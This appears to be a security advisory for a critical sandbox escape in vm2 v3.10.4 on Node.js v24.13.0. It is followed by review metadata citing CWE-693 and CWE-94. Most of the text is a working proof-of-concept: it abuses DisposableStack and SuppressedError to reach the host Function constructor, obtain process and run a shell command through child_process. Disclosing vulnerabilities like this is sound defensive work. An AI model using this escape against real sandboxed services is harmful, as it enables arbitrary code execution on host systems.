In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);
{
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:33:45Z",
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"severity": "CRITICAL",
"nvd_published_at": "2026-05-04T17:16:22Z"
}